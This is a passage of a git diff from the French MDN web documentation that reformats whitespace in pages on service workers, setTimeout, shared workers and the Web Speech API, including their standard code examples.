{{domxref("ServiceWorkerContainer.getRegistration()")}} - - : Récupère un objet {{domxref("ServiceWorkerRegistration")}} dont l’URL de la portée correspond à l’URL du document fourni. Si la méthode ne peut retourner un {{domxref("ServiceWorkerRegistration")}}, elle retourne une [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise). + - : Récupère un objet {{domxref("ServiceWorkerRegistration")}} dont l’URL de la portée correspond à l’URL du document fourni. Si la méthode ne peut retourner un {{domxref("ServiceWorkerRegistration")}}, elle retourne une [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise). - {{domxref("ServiceWorkerContainer.getRegistrations()")}} - - : Retourne tous les {{domxref("ServiceWorkerRegistration")}} associés à un `ServiceWorkerContainer` dans un tableau. Si la méthode ne peut retourner les {{domxref("ServiceWorkerRegistration")}}, elle retourne une [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise). + - : Retourne tous les {{domxref("ServiceWorkerRegistration")}} associés à un `ServiceWorkerContainer` dans un tableau. Si la méthode ne peut retourner les {{domxref("ServiceWorkerRegistration")}}, elle retourne une [`Promise`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise). ## Exemples @@ -75,6 +75,6 @@ if ('serviceWorker' in navigator) { - [Utiliser les Service Workers](/fr/docs/Web/API/ServiceWorker_API/Using_Service_Workers) - [Service workers : exemple basique](https://github.com/mdn/sw-test) -- [Le ServiceWorker est-il prêt ?](https://jakearchibald.github.io/isserviceworkerready/) +- [Le ServiceWorker est-il prêt ?](https://jakearchibald.github.io/isserviceworkerready/) - {{jsxref("Promise")}} - [Utiliser les web workers](/fr/docs/Web/Guide/Performance/Using_web_workers) diff --git a/files/fr/web/api/serviceworkercontainer/register/index.md b/files/fr/web/api/serviceworkercontainer/register/index.md index c7c1d85c5f..fa991f40ca 100644 --- a/files/fr/web/api/serviceworkercontainer/register/index.md +++ b/files/fr/web/api/serviceworkercontainer/register/index.md @@ -49,18 +49,18 @@ L'exemple suivant utilise la valeur par défaut de la portée (en l'omettant). L ```js if ('serviceWorker' in navigator) { - // Register a service worker hosted at the root of the - // site using the default scope. - navigator.serviceWorker.register('/sw.js').then( - (registration) => { - console.log('Service worker registration succeeded:', registration) - }, - /*catch*/ (error) => { - console.log('Service worker registration failed:', error) - } - ) + // Register a service worker hosted at the root of the + // site using the default scope. + navigator.serviceWorker.register('/sw.js').then( + (registration) => { + console.log('Service worker registration succeeded:', registration) + }, + /*catch*/ (error) => { + console.log('Service worker registration failed:', error) + } + ) } else { - console.log('Service workers are not supported.') + console.log('Service workers are not supported.') } ``` @@ -70,37 +70,37 @@ Sinon, si ce code était inclus dans une page à `example.com/product/descriptio ```js if ('serviceWorker' in navigator) { - // declaring scope manually - navigator.serviceWorker.register('/sw.js', { scope: './' }).then( - (registration) => { - console.log('Service worker registration succeeded:', registration) - }, - /*catch*/ (error) => { - console.log('Service worker registration failed:', error) - } - ) + // declaring scope manually + navigator.serviceWorker.register('/sw.js', { scope: './' }).then( + (registration) => { + console.log('Service worker registration succeeded:', registration) + }, + /*catch*/ (error) => { + console.log('Service worker registration failed:', error) + } + ) } else { - console.log('Service workers are not supported.') + console.log('Service workers are not supported.') } ``` Il y a une confusion fréquente autour de la signification et de l'utilisation de la portée. Puisque qu'un `ServiceWorker` ne peut pas avoir une portée plus large que son propre emplacement, utilisez uniquement l'option de la portée lorsque vous avez besoin d'une portée plus étroite que la valeur par défaut. -Le code suivant, s'il est inclus dans `example.com/index.html`, à la racine d'un site, ne s'appliquerait qu'aux ressources sous `example.com/product`. +Le code suivant, s'il est inclus dans `example.com/index.html`, à la racine d'un site, ne s'appliquerait qu'aux ressources sous `example.com/product`. ```js if ('serviceWorker' in navigator) { - // declaring scope manually - navigator.serviceWorker.register('/sw.js', { scope: '/product/' }).then( - (registration) => { - console.log('Service worker registration succeeded:', registration) - }, - /*catch*/ (error) => { - console.log('Service worker registration failed:', error) - } - ) + // declaring scope manually + navigator.serviceWorker.register('/sw.js', { scope: '/product/' }).then( + (registration) => { + console.log('Service worker registration succeeded:', registration) + }, + /*catch*/ (error) => { + console.log('Service worker registration failed:', error) + } + ) } else { - console.log('Service workers are not supported.') + console.log('Service workers are not supported.') } ``` diff --git a/files/fr/web/api/serviceworkerglobalscope/index.md b/files/fr/web/api/serviceworkerglobalscope/index.md index c16273acd7..6ec1286699 100644 --- a/files/fr/web/api/serviceworkerglobalscope/index.md +++ b/files/fr/web/api/serviceworkerglobalscope/index.md @@ -16,7 +16,7 @@ translation_of: Web/API/ServiceWorkerGlobalScope The **`ServiceWorkerGlobalScope`** interface of the [Service Worker API](/en-US/docs/Web/API/Service_Worker_API) represents the global execution context of a service worker. -Developers should keep in mind that the ServiceWorker state is not persisted across the termination/restart cycle, so each event handler should assume it's being invoked with a bare, default global state. +Developers should keep in mind that the ServiceWorker state is not persisted across the termination/restart cycle, so each event handler should assume it's being invoked with a bare, default global state. Once successfully registered, a service worker can and will be terminated when idle to conserve memory and processor power. An active service worker is automatically restarted to respond to events, such as {{domxref("ServiceWorkerGlobalScope.onfetch")}} or {{domxref("ServiceWorkerGlobalScope.onmessage")}}. diff --git a/files/fr/web/api/serviceworkerglobalscope/onnotificationclick/index.md b/files/fr/web/api/serviceworkerglobalscope/onnotificationclick/index.md index c5e9dbe111..209e6ee190 100644 --- a/files/fr/web/api/serviceworkerglobalscope/onnotificationclick/index.md +++ b/files/fr/web/api/serviceworkerglobalscope/onnotificationclick/index.md @@ -15,7 +15,7 @@ translation_of: Web/API/ServiceWorkerGlobalScope/onnotificationclick La propriété **`ServiceWorkerGlobalScope.onnotificationclick`** est un gestionnaire d'événements appelé chaque fois que l'événement {{Event("notificationclick")}} est envoyé sur l'objet {{domxref ("ServiceWorkerGlobalScope")}}, c'est-à-dire lorsqu'un utilisateur clique sur une notification affichée générée par {{domxref("ServiceWorkerRegistration.showNotification()")}}. -Les notifications créées sur le thread principal ou dans un worker qui ne sont pas des service worker utilisant le constructeur {{domxref ("Notification.Notification", "Notification()")}} recevront à la place un événement {{Event("click")}} sur l'objet `Notification` lui-même. +Les notifications créées sur le thread principal ou dans un worker qui ne sont pas des service worker utilisant le constructeur {{domxref ("Notification.Notification", "Notification()")}} recevront à la place un événement {{Event("click")}} sur l'objet `Notification` lui-même. > **Note :** Essayer de créer une notification dans le {{domxref ("ServiceWorkerGlobalScope")}} en utilisant le constructeur {{domxref ("Notification.Notification", "Notification()")}} générera une erreur. diff --git a/files/fr/web/api/serviceworkerregistration/active/index.md b/files/fr/web/api/serviceworkerregistration/active/index.md index 9fa64a83ab..af9c89e7f5 100644 --- a/files/fr/web/api/serviceworkerregistration/active/index.md +++ b/files/fr/web/api/serviceworkerregistration/active/index.md @@ -25,7 +25,7 @@ Un objet {{domxref("ServiceWorker")}}, si le _worker_ est actuellement dans un | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------ | ---------------------- | -| {{SpecName('Service Workers', '#service-worker-registration-active-attribute', 'ServiceWorkerRegistration.active')}} | {{Spec2('Service Workers')}} | Définition initiale. | +| {{SpecName('Service Workers', '#service-worker-registration-active-attribute', 'ServiceWorkerRegistration.active')}} | {{Spec2('Service Workers')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/serviceworkerregistration/getnotifications/index.md b/files/fr/web/api/serviceworkerregistration/getnotifications/index.md index 7e9aaa2230..beb503bdea 100644 --- a/files/fr/web/api/serviceworkerregistration/getnotifications/index.md +++ b/files/fr/web/api/serviceworkerregistration/getnotifications/index.md @@ -19,7 +19,7 @@ La méthode **`getNotifications()`** de l'interface {{domxref ("ServiceWorkerReg ## Syntaxe - serviceWorkerRegistration.getNotifications(options) + serviceWorkerRegistration.getNotifications(options) .then(function(notificationsList) { ... }) ### Paramétres diff --git a/files/fr/web/api/serviceworkerregistration/index.md b/files/fr/web/api/serviceworkerregistration/index.md index a261d8632d..e44da329db 100644 --- a/files/fr/web/api/serviceworkerregistration/index.md +++ b/files/fr/web/api/serviceworkerregistration/index.md @@ -37,57 +37,57 @@ _Also implements properties from its parent interface,_ {{domxref("EventTarget") - {{domxref("ServiceWorkerRegistration.navigationPreload")}} {{readonlyinline}} - : Returns the instance of {{domxref("NavigationPreloadManager")}} associated with the current service worker registration. - {{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}} - - : Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status. -- {{domxref("ServiceWorkerRegistration.sync")}} **{{non-standard_inline}}** {{readonlyinline}} - - : Returns a reference to the {{domxref("SyncManager")}} interface, which manages background synchronization processes. + - : Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status. +- {{domxref("ServiceWorkerRegistration.sync")}} **{{non-standard_inline}}** {{readonlyinline}} + - : Returns a reference to the {{domxref("SyncManager")}} interface, which manages background synchronization processes. ### Unimplemented properties - {{domxref("serviceWorkerRegistration.periodicSync")}} {{non-standard_inline}} {{readonlyinline}} - - : Returns a reference to the {{domxref("PeriodicSyncManager")}} interface, which manages periodic background synchronization processes. This was mentioned as an idea in the SW explainer at some point, but as yet has not been implemented anywhere. + - : Returns a reference to the {{domxref("PeriodicSyncManager")}} interface, which manages periodic background synchronization processes. This was mentioned as an idea in the SW explainer at some point, but as yet has not been implemented anywhere. ### Event handlers - {{domxref("ServiceWorkerRegistration.onupdatefound")}} {{readonlyinline}} - - : An [`EventListener`](/en-US/docs/Web/API/EventListener) property called whenever an event of type `updatefound` is fired; it is fired any time the {{domxref("ServiceWorkerRegistration.installing")}} property acquires a new service worker. + - : An [`EventListener`](/en-US/docs/Web/API/EventListener) property called whenever an event of type `updatefound` is fired; it is fired any time the {{domxref("ServiceWorkerRegistration.installing")}} property acquires a new service worker. ## Methods _Also implements methods from its parent interface,_ {{domxref("EventTarget")}}. - {{domxref("ServiceWorkerRegistration.getNotifications()")}} - - : Returns a {{jsxref("Promise")}} that resolves to an array of {{domxref("Notification")}} objects. + - : Returns a {{jsxref("Promise")}} that resolves to an array of {{domxref("Notification")}} objects. - {{domxref("ServiceWorkerRegistration.showNotification()")}} - : Displays the notification with the requested title. - {{domxref("ServiceWorkerRegistration.update()")}} - : Checks the server for an updated version of the service worker without consulting caches. - {{domxref("ServiceWorkerRegistration.unregister()")}} - - : Unregisters the service worker registration and returns a {{jsxref("Promise")}}. The service worker will finish any ongoing operations before it is unregistered. + - : Unregisters the service worker registration and returns a {{jsxref("Promise")}}. The service worker will finish any ongoing operations before it is unregistered. ## Examples -In this example, the code first checks whether the browser supports service workers and if so registers one. Next, it adds and `updatefound` event in which it uses the service worker registration to listen for further changes to the service worker's state. If the service worker hasn't changed since the last time it was registered, than the `updatefound` event will not be fired. +In this example, the code first checks whether the browser supports service workers and if so registers one. Next, it adds and `updatefound` event in which it uses the service worker registration to listen for further changes to the service worker's state. If the service worker hasn't changed since the last time it was registered, than the `updatefound` event will not be fired. ```js if ('serviceWorker' in navigator) { - navigator.serviceWorker.register('/sw.js') - .then(function(registration) { + navigator.serviceWorker.register('/sw.js') + .then(function(registration) { registration.addEventListener('updatefound', function() { - // If updatefound is fired, it means that there's - // a new service worker being installed. - var installingWorker = registration.installing; - console.log('A new service worker is being installed:', - installingWorker); - - // You can listen for changes to the installing service worker's - // state via installingWorker.onstatechange - }); - }) - .catch(function(error) { - console.log('Service worker registration failed:', error); - }); + // If updatefound is fired, it means that there's + // a new service worker being installed. + var installingWorker = registration.installing; + console.log('A new service worker is being installed:', + installingWorker); + + // You can listen for changes to the installing service worker's + // state via installingWorker.onstatechange + }); + }) + .catch(function(error) { + console.log('Service worker registration failed:', error); + }); } else { - console.log('Service workers are not supported.'); + console.log('Service workers are not supported.'); } ``` @@ -97,8 +97,8 @@ if ('serviceWorker' in navigator) { | -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('Service Workers', '#service-worker-registration-obj', 'ServiceWorkerRegistration')}} | {{Spec2('Service Workers')}} | Initial definition. | | {{SpecName('Push API', '#widl-ServiceWorkerRegistration-pushManager', 'PushManager')}} | {{Spec2('Push API')}} | Adds the {{domxref("PushManager","pushManager")}} property. | -| {{SpecName('Web Notifications')}} | {{Spec2('Web Notifications')}} | Adds the {{domxref("ServiceWorkerRegistration.showNotification()","showNotification()")}} method and the {{domxref("ServiceWorkerRegistration.getNotifications()","getNotifications()")}} method. | -| {{SpecName('Background Sync')}} | {{Spec2('Background Sync')}} | Adds the {{domxref("ServiceWorkerRegistration.sync","sync")}} property. | +| {{SpecName('Web Notifications')}} | {{Spec2('Web Notifications')}} | Adds the {{domxref("ServiceWorkerRegistration.showNotification()","showNotification()")}} method and the {{domxref("ServiceWorkerRegistration.getNotifications()","getNotifications()")}} method. | +| {{SpecName('Background Sync')}} | {{Spec2('Background Sync')}} | Adds the {{domxref("ServiceWorkerRegistration.sync","sync")}} property. | ## Browser compatibility diff --git a/files/fr/web/api/serviceworkerregistration/shownotification/index.md b/files/fr/web/api/serviceworkerregistration/shownotification/index.md index 99530c86a4..2b618c5922 100644 --- a/files/fr/web/api/serviceworkerregistration/shownotification/index.md +++ b/files/fr/web/api/serviceworkerregistration/shownotification/index.md @@ -20,7 +20,7 @@ La méthode **`showNotification()`** de l'interface {{domxref("ServiceWorkerRegi ## Syntaxe - serviceWorkerRegistration.showNotification(title, [options]) + serviceWorkerRegistration.showNotification(title, [options]) ### Paramètres @@ -32,7 +32,7 @@ La méthode **`showNotification()`** de l'interface {{domxref("ServiceWorkerRegi - `actions`: Un tableau de {{domxref ("NotificationAction")}} représentant les actions disponibles pour l'utilisateur lorsque la notification est présentée. Ce sont des options parmi lesquelles l'utilisateur peut choisir pour agir sur l'action dans le contexte de la notification elle-même. Le nom de l'action est envoyé au gestionnaire de notifications du service worker pour lui faire savoir que l'action a été sélectionnée par l'utilisateur. Les membres du tableau doivent être un objet. Il peut contenir les valeurs suivantes: - - action: Une {{domxref("DOMString")}} représentant une action utilisateur à afficher sur la notification. + - action: Une {{domxref("DOMString")}} représentant une action utilisateur à afficher sur la notification. - title: Une {{domxref("DOMString")}} contenant le texte d'action à montrer à l'utilisateur. - icon: Une {{domxref("USVString")}} contenant l'URL d'une icône à afficher avec l'action. @@ -49,7 +49,7 @@ La méthode **`showNotification()`** de l'interface {{domxref("ServiceWorkerRegi - `requireInteraction`: Un {{domxref ("Boolean", "Booléen")}} indiquant qu'une notification doit rester active jusqu'à ce que l'utilisateur clique dessus ou la rejette, plutôt que de se fermer automatiquement. La valeur par défaut est `false`. - `silent`: Un {{domxref ("Boolean", "Booléen")}} spécifiant si la notification est silencieuse (aucun son ni vibration émis), quels que soient les paramètres de l'appareil. La valeur par défaut est `false`, ce qui signifie qu'il ne sera pas silencieux. - `tag`: Un {{domxref ("DOMString")}} représentant un tag d'identification pour la notification. - - `timestamp`: Un {{domxref ("DOMTimeStamp")}} représentant l'heure à laquelle la notification a été créée. Il peut être utilisé pour indiquer l'heure à laquelle une notification est réelle. Par exemple, cela peut se produire dans le passé lorsqu'une notification est utilisée pour un message qui n'a pas pu être envoyé immédiatement parce que l'appareil était hors ligne, ou dans le futur pour une réunion sur le point de commencer. + - `timestamp`: Un {{domxref ("DOMTimeStamp")}} représentant l'heure à laquelle la notification a été créée. Il peut être utilisé pour indiquer l'heure à laquelle une notification est réelle. Par exemple, cela peut se produire dans le passé lorsqu'une notification est utilisée pour un message qui n'a pas pu être envoyé immédiatement parce que l'appareil était hors ligne, ou dans le futur pour une réunion sur le point de commencer. - `vibrate`: Un [modèle de vibration](/fr/docs/Web/Guide/API/Vibration#Vibration_patterns) que le matériel de vibration de l'appareil émet avec la notification. Un modèle de vibration peut être un réseau avec aussi peu qu'un membre. Les valeurs sont des temps en millisecondes où les indices pairs (0, 2, 4, etc.) indiquent la durée de vibration et les indices impairs indiquent la durée de la pause. Par exemple, \[300, 100, 400] vibrerait 300 ms, mettrait en pause 100 ms, puis vibrerait 400 ms. ### Valeur de retour diff --git a/files/fr/web/api/settimeout/index.md b/files/fr/web/api/settimeout/index.md index cf40ee8e6e..cb7eba51c6 100644 --- a/files/fr/web/api/settimeout/index.md +++ b/files/fr/web/api/settimeout/index.md @@ -11,7 +11,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/setTimeout --- {{APIRef("HTML DOM")}} -La méthode **`setTimeout()`**, rattachée au *mixin* {{domxref("WindowOrWorkerGlobalScope")}} (et qui succède à `window.setTimeout()`) permet de définir un « minuteur » (_timer_) qui exécute une fonction ou un code donné après la fin du délai indiqué. +La méthode **`setTimeout()`**, rattachée au *mixin* {{domxref("WindowOrWorkerGlobalScope")}} (et qui succède à `window.setTimeout()`) permet de définir un « minuteur » (_timer_) qui exécute une fonction ou un code donné après la fin du délai indiqué. ## Syntaxe @@ -36,7 +36,7 @@ La méthode **`setTimeout()`**, rattachée au *mixin* {{domxref("WindowOrWorke La valeur renvoyée par la fonction est un entier qui représente un identifiant du minuteur créé par l'appel à `setTimeout()`. Cet identifiant pourra être passé à la méthode {{domxref("WindowOrWorkerGlobalScope.clearTimeout","clearTimeout()")}} afin d'annuler ce minuteur donné. -Il peut être utile de savoir que `setTimeout()` et {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} partagent le même ensemble d'identifiants et que `clearTimeout()` et {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} sont, techniquement, interchangeables. Toutefois pour des raisons de lisibilité et de maintenance, mieux vaut les utiliser par paires plutôt que de les mélanger. +Il peut être utile de savoir que `setTimeout()` et {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} partagent le même ensemble d'identifiants et que `clearTimeout()` et {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} sont, techniquement, interchangeables. Toutefois pour des raisons de lisibilité et de maintenance, mieux vaut les utiliser par paires plutôt que de les mélanger. Le moteur d'exécution garantit qu'un identifiant donné ne sera pas réutilisé par un appel ultérieur à `setTimeout()` ou `setInterval()` pour un même objet (une fenêtre ou un _worker_). En revanche, différents objets possèdent chacun leurs ensembles d'identifiants. @@ -210,7 +210,7 @@ setTimeout(monTableau.maMéthode, 1500, '1'); // affiche "undefined" après 1.5 seconde ``` -La fonction `monTableau.maMéthode` est pasée à `setTimeout` et, lorsqu'elle est appelée, `this` n'est pas défini et le moteur utilise la valeur par défaut : `window`. Il n'y apas d'option qui permettent de passer une valeur `thisArg` à `setTimeout()` comme on peut le faire avec {{jsxref("Array.prototype.forEach()")}} ou {{jsxref("Array.prototype.reduce()")}} par exemple. Aussi, utiliser `call()` afin de définir `this` ne fonctionnera pas non plus. +La fonction `monTableau.maMéthode` est pasée à `setTimeout` et, lorsqu'elle est appelée, `this` n'est pas défini et le moteur utilise la valeur par défaut : `window`. Il n'y apas d'option qui permettent de passer une valeur `thisArg` à `setTimeout()` comme on peut le faire avec {{jsxref("Array.prototype.forEach()")}} ou {{jsxref("Array.prototype.reduce()")}} par exemple. Aussi, utiliser `call()` afin de définir `this` ne fonctionnera pas non plus. ```js setTimeout.call(monTableau, monTableau.maMéthode, 2000); @@ -277,7 +277,7 @@ setTimeout(cb, 0); setInterval(f, 0); ``` -Pour Chrome et Firefox, la limitation est active à partir du cinquième appel de fonction de rappel, Safari active la limitation à partir du sixième et Edge à partir du troisième. Gecko traite `setInterval()` de la même façon depuis la [version 56](/fr/docs/Mozilla/Firefox/Releases/56). +Pour Chrome et Firefox, la limitation est active à partir du cinquième appel de fonction de rappel, Safari active la limitation à partir du sixième et Edge à partir du troisième. Gecko traite `setInterval()` de la même façon depuis la [version 56](/fr/docs/Mozilla/Firefox/Releases/56). [Par le passé](http://code.google.com/p/chromium/issues/detail?id=792#c10), certains navigateurs implémentaient cette limite différemment (pour les appels à `setInterval()` quelle que soit leur provenance ou lorsqu'un appel `setTimeout()` était imbriqué dans un autre pour un certain nombre de niveaux d'imbrication. @@ -291,9 +291,9 @@ Pour implémenter un minuteur de 0ms, on pourra utiliser {{domxref("window.postM Afin de réduire la charge (ainsi que la consommation d'énergie associée) des onglets en arrière-plan, les minuteurs ne sont déclenchés au maximum qu'une fois par seconde pour les onglets inactifs. -Firefox implémente ce comportement depuis Firefox 5 (cf. {{bug(633421)}}) et la valeur du seuil de 1000ms peut être paramétrée via la préférence `dom.min_background_timeout_value`. Chrome implémente ce comportement depuis la version 11 ([crbug.com/66078](http://crbug.com/66078)). +Firefox implémente ce comportement depuis Firefox 5 (cf. {{bug(633421)}}) et la valeur du seuil de 1000ms peut être paramétrée via la préférence `dom.min_background_timeout_value`. Chrome implémente ce comportement depuis la version 11 ([crbug.com/66078](http://crbug.com/66078)). -Firefox pour Android utilise un minimum de 15 minutes depuis Firefox 14 (cf. {{bug(736602)}}) et les onglets en arrière-plan peuvent être déchargés complètement. +Firefox pour Android utilise un minimum de 15 minutes depuis Firefox 14 (cf. {{bug(736602)}}) et les onglets en arrière-plan peuvent être déchargés complètement. > **Note :** Firefox 50 ne limite plus la réactivité des onglets en arrière-plan si un contexte Web Audio API {{domxref("AudioContext")}} joue un son. Firefox 51 élargit le spectre en supprimant la limitation si un objet {{domxref("AudioContext")}} est présent dans l'onglet, même sans jouer de son. Cela a permis de résoudre différents problèmes avec certaines applications qui jouent de la musique en arrière-plan. diff --git a/files/fr/web/api/sharedworker/index.md b/files/fr/web/api/sharedworker/index.md index dc36979082..c03b0f11c9 100644 --- a/files/fr/web/api/sharedworker/index.md +++ b/files/fr/web/api/sharedworker/index.md @@ -38,7 +38,7 @@ _Hérite des méthodes de son parent, {{domxref("EventTarget")}}, et implémente ## Exemple -Dans notre [Exemple basique d'un worker partagé](https://github.com/mdn/simple-shared-worker) ([lancer le worker partagé](http://mdn.github.io/simple-shared-worker/)), nous avons deux pages HTML, qui chacune utilise du code JavaScript pour réaliser un calcul simple. Les différents scripts utilisent le même worker pour effectuer ce calcul — ils peuvent tous les deux y accéder, même si leurs pages s'exécutent à l'intérieur de fenêtres différentes. +Dans notre [Exemple basique d'un worker partagé](https://github.com/mdn/simple-shared-worker) ([lancer le worker partagé](http://mdn.github.io/simple-shared-worker/)), nous avons deux pages HTML, qui chacune utilise du code JavaScript pour réaliser un calcul simple. Les différents scripts utilisent le même worker pour effectuer ce calcul — ils peuvent tous les deux y accéder, même si leurs pages s'exécutent à l'intérieur de fenêtres différentes. L'extrait de code suivant illustre la création d'un objet `SharedWorker` en utilisant le constructeur {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}. Les deux scripts contiennent ceci : @@ -71,7 +71,7 @@ first.onchange = function() { } ``` -Au sein du worker, nous utilisons le gestionnaire {{domxref("SharedWorkerGlobalScope.onconnect")}} pour se connecter au même port dont il a été question plus haut. Les ports associés au worker sont accessibles dans la propriété `ports` de l'événement {{event("connect")}} — nous utilisons alors la méthode {{domxref("MessagePort")}} `start()` pour démarrer le port, et le gestionnaire `onmessage` pour s'occuper des messages en provenance des threads principaux. +Au sein du worker, nous utilisons le gestionnaire {{domxref("SharedWorkerGlobalScope.onconnect")}} pour se connecter au même port dont il a été question plus haut. Les ports associés au worker sont accessibles dans la propriété `ports` de l'événement {{event("connect")}} — nous utilisons alors la méthode {{domxref("MessagePort")}} `start()` pour démarrer le port, et le gestionnaire `onmessage` pour s'occuper des messages en provenance des threads principaux. ```js onconnect = function(e) { diff --git a/files/fr/web/api/sharedworker/port/index.md b/files/fr/web/api/sharedworker/port/index.md index 8e25c1c7f8..79d9c7b727 100644 --- a/files/fr/web/api/sharedworker/port/index.md +++ b/files/fr/web/api/sharedworker/port/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/SharedWorker/port --- {{APIRef("Web Workers API")}} -La propriété **`port`** de l'interface {{domxref("SharedWorker")}} retourne un objet {{domxref("MessagePort")}} utilisé pour contrôler et communiquer avec le _worker_ partagé. +La propriété **`port`** de l'interface {{domxref("SharedWorker")}} retourne un objet {{domxref("MessagePort")}} utilisé pour contrôler et communiquer avec le _worker_ partagé. ## Syntaxe diff --git a/files/fr/web/api/speechrecognition/index.md b/files/fr/web/api/speechrecognition/index.md index 6e11ac7426..4be66b9949 100644 --- a/files/fr/web/api/speechrecognition/index.md +++ b/files/fr/web/api/speechrecognition/index.md @@ -19,11 +19,11 @@ translation_of: Web/API/SpeechRecognition - {{domxref("SpeechRecognition.grammars")}} - : Retourne et définit une collection d'objets {{domxref("SpeechGrammar")}} représentant les grammaires qui seront comprises par `SpeechRecognition`. - {{domxref("SpeechRecognition.lang")}} - - : Retourne et définit la langue de `SpeechRecognition`. Si elle n'est pas spécifiée, prend la valeur par défaut du HTML {{htmlattrxref("lang","html")}} ou le paramètre de langue du user agent si celle-ci n'est pas défini non plus. + - : Retourne et définit la langue de `SpeechRecognition`. Si elle n'est pas spécifiée, prend la valeur par défaut du HTML {{htmlattrxref("lang","html")}} ou le paramètre de langue du user agent si celle-ci n'est pas défini non plus. - {{domxref("SpeechRecognition.continuous")}} - : Contrôle si la reconnaissance est continue, ou retourne seulement un seul résultat. Par défaut retourne un seul résultat (`false`.) - {{domxref("SpeechRecognition.interimResults")}} - - : Contrôle si les résultats intermédiaires doivent être retournés (`true`) ou pas (`false`.) Les résultats intermédiaires sont des résultats qui ne sont pas encore définitifs. (e.x. ou la propriété {{domxref("SpeechRecognitionResult.isFinal")}} est `false`.) + - : Contrôle si les résultats intermédiaires doivent être retournés (`true`) ou pas (`false`.) Les résultats intermédiaires sont des résultats qui ne sont pas encore définitifs. (e.x. ou la propriété {{domxref("SpeechRecognitionResult.isFinal")}} est `false`.) - {{domxref("SpeechRecognition.maxAlternatives")}} - : Règle le nombre maximum de {{domxref("SpeechRecognitionAlternative")}} (d'alternatives) fourni par résultat. La valeur par défaut est 1. - {{domxref("SpeechRecognition.serviceURI")}} @@ -69,7 +69,7 @@ _`SpeechRecognition` also inherits methods from its parent interface, {{domxref( In our simple [Speech color changer](https://github.com/mdn/web-speech-api/tree/master/speech-color-changer) example, we create a new `SpeechRecognition` object instance using the {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} constructor, create a new {{domxref("SpeechGrammarList")}}, and set it to be the grammar that will be recognised by the `SpeechRecognition` instance using the {{domxref("SpeechRecognition.grammars")}} property. -After some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see {{domxref("SpeechRecognition.start()")}}.) When a result has been successfully recognised, the {{domxref("SpeechRecognition.onresult")}} handler fires, we extract the color that was spoken from the event object, and then set the background color of the {{htmlelement("html")}} element to that colour. +After some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see {{domxref("SpeechRecognition.start()")}}.) When a result has been successfully recognised, the {{domxref("SpeechRecognition.onresult")}} handler fires, we extract the color that was spoken from the event object, and then set the background color of the {{htmlelement("html")}} element to that colour. ```js var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' diff --git a/files/fr/web/api/speechsynthesisutterance/index.md b/files/fr/web/api/speechsynthesisutterance/index.md index 02dc3bd9e6..5f9c15cf29 100644 --- a/files/fr/web/api/speechsynthesisutterance/index.md +++ b/files/fr/web/api/speechsynthesisutterance/index.md @@ -5,16 +5,16 @@ translation_of: Web/API/SpeechSynthesisUtterance --- {{APIRef("Web Speech API")}}{{SeeCompatTable}} -L'interface **`SpeechSynthesisUtterance`** de l'[API Web Speech](/en-US/docs/Web/API/Web_Speech_API) représente une requète de synthèse vocale. Elle contient le contenu du service permettant de définir la façon dont elle sera lu (langue, hauteur et volume). +L'interface **`SpeechSynthesisUtterance`** de l'[API Web Speech](/en-US/docs/Web/API/Web_Speech_API) représente une requète de synthèse vocale. Elle contient le contenu du service permettant de définir la façon dont elle sera lu (langue, hauteur et volume). ## Constructor - {{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()")}} - - : Retourne une nouvelle instance de l'objet `SpeechSynthesisUtterance`. + - : Retourne une nouvelle instance de l'objet `SpeechSynthesisUtterance`. ## Properties -_`SpeechSynthesisUtterance` hérite également des propriétés de son interface parente, {{domxref("EventTarget")}}._ +_`SpeechSynthesisUtterance` hérite également des propriétés de son interface parente, {{domxref("EventTarget")}}._ - {{domxref("SpeechSynthesisUtterance.lang")}} - : Gets and sets the language of the utterance. @@ -48,16 +48,16 @@ _`SpeechSynthesisUtterance` hérite également des propriétés de son interfac ## Examples -Dans notre exemple basique de [démonstration de synthèse vocale](https://github.com/mdn/web-speech-api/tree/master/speak-easy-synthesis), nous commençons par récupérer une référence du controller SpeechSynthesis en utilisant `window.speechSynthesis`. -Après avoir définit les variables nécessaires, nous récupérons une liste des voix disponibles en utilisant {{domxref("SpeechSynthesis.getVoices()")}} puis nous alimentons un menu avec celle-ci. +Dans notre exemple basique de [démonstration de synthèse vocale](https://github.com/mdn/web-speech-api/tree/master/speak-easy-synthesis), nous commençons par récupérer une référence du controller SpeechSynthesis en utilisant `window.speechSynthesis`. +Après avoir définit les variables nécessaires, nous récupérons une liste des voix disponibles en utilisant {{domxref("SpeechSynthesis.getVoices()")}} puis nous alimentons un menu avec celle-ci. L'utilisateur pourra ensuite choisir la voix qu'il souhaite. -À l'intérieur du handler `inputForm.onsubmit` : +À l'intérieur du handler `inputForm.onsubmit` : -- Nous stoppons la soumission du formulaire avec [preventDefault()](/en-US/docs/Web/API/Event/preventDefault); 